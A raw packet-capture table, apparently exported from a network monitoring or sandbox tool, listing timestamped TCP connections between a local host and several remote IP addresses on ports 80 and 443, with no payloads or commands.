Nov 22, 2024 17:08:55.712615013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712630033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712632895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.712636948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712673903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.712673903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.712683916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712698936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712712049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.712743998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.712768078 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712781906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712819099 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.721235991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.721290112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.721334934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.721369982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.729823112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.729904890 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.749110937 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.749175072 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.749361038 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.749443054 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.749456882 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.781662941 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.781749010 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.782298088 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.782298088 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.817151070 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.837845087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.837918997 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.837960005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.838044882 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.841579914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.841628075 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.913912058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.913964033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.914027929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.914082050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.917705059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.917752981 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.917834044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.917869091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.925725937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.925765991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.925812960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.933337927 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.933386087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.933463097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.933600903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.940493107 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.940511942 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.940546989 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.940583944 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.940589905 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.940623045 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.940634966 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.941204071 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.941204071 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.941219091 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.941229105 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.941327095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.941374063 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.941418886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.941601038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.949312925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.949368000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.949412107 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.949455023 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.957659960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.957706928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.957719088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.957909107 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.966762066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.966866970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.966871977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.966913939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.973433971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.973543882 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.973552942 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.973617077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.981594086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.981657982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.007672071 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:56.007709026 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:56.007935047 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:56.008183002 CET	49783	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:56.008200884 CET	443	49783	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:56.015276909 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:56.015532017 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:56.015552044 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:56.016619921 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:56.016686916 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:56.017915010 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:56.018013954 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:56.038058043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.038136959 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.038203001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.038244009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.042021990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.042069912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.043526888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.043571949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.043615103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.043662071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.051517963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.051852942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.052995920 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.053025007 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.053118944 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.053386927 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.053441048 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.053653002 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.054183006 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.054210901 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.054383039 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.054395914 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.066148996 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:56.066167116 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:56.111959934 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.111975908 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.116614103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.116677046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.116677999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.116710901 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.118957043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.119026899 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.119215012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.119256973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.124195099 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.124311924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.124362946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.124452114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.129350901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.129431963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.129456997 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.129483938 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.134516954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.134876966 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.134947062 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.139646053 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.139709949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.139879942 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.139923096 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.144795895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.144846916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.144922018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.144957066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.150643110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.150718927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.150769949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.150876999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.155102968 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.155164957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.155178070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.155256987 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.160285950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.160342932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.160393000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.165556908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.165659904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.165668964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.165708065 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.168682098 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:56.170639992 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.170687914 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.170741081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.170864105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.175261974 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.175309896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.175395012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.175434113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.179373980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.179418087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.179538965 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.179586887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.183468103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.183512926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.183660984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.183737993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.187622070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.187671900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.187800884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.187858105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.191696882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.191750050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.191775084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.192022085 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.195846081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.195950985 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.195982933 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.196026087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.199944973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.200000048 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.200042009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.200081110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.239413023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.239536047 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.239557028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.239871979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.241410971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.241477966 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.241506100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.241741896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.245738029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.245781898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.245814085 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.245855093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.247806072 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.247853041 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.248044968 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.248076916 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.248079062 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.248138905 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.248289108 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.248298883 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.248439074 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.248451948 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.249764919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.249836922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.249907970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.253835917 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.253849983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.253887892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.253906965 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.271349907 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.275408030 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.275667906 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.275681019 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.287009001 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.287084103 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.287092924 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.296670914 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.296736956 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.296745062 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.309736013 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.309817076 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.309824944 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.317528963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.317550898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.317584038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.317604065 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.318964958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.319017887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.319473028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.319528103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.319597006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.319638968 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.322331905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.322458029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.322531939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.323116064 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.323375940 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.323385000 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.325257063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.325305939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.325341940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.325463057 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.328084946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.328136921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.328156948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.328188896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.330769062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.330815077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.330854893 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.330998898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.333621979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.333642960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.333673954 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.333688021 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.336252928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.336302042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.336334944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.336493015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.338994026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.339027882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.339206934 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.341692924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.341738939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.341775894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.341890097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.344429970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.344475985 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.344594002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.344635010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.347270012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.347325087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.347326994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.347548008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.395107031 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.395152092 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.395216942 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.395231009 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.395632982 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.399430037 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.407701015 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.407749891 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.407758951 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.450944901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.451004982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.451061964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.451411009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.451529026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.451592922 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.451653004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.451700926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.453701019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.453799963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.453866005 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.455833912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.455884933 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.455902100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.455945015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.520108938 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.576163054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.576179981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.576314926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.696019888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.696043015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.696090937 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.696125984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817394018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817411900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817467928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817500114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817513943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817538023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817548037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817567110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817573071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817600012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817625999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817637920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817658901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817672014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817675114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817693949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817720890 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817763090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817775011 CET	80	49747	185.215.113.206	192.168.2.10
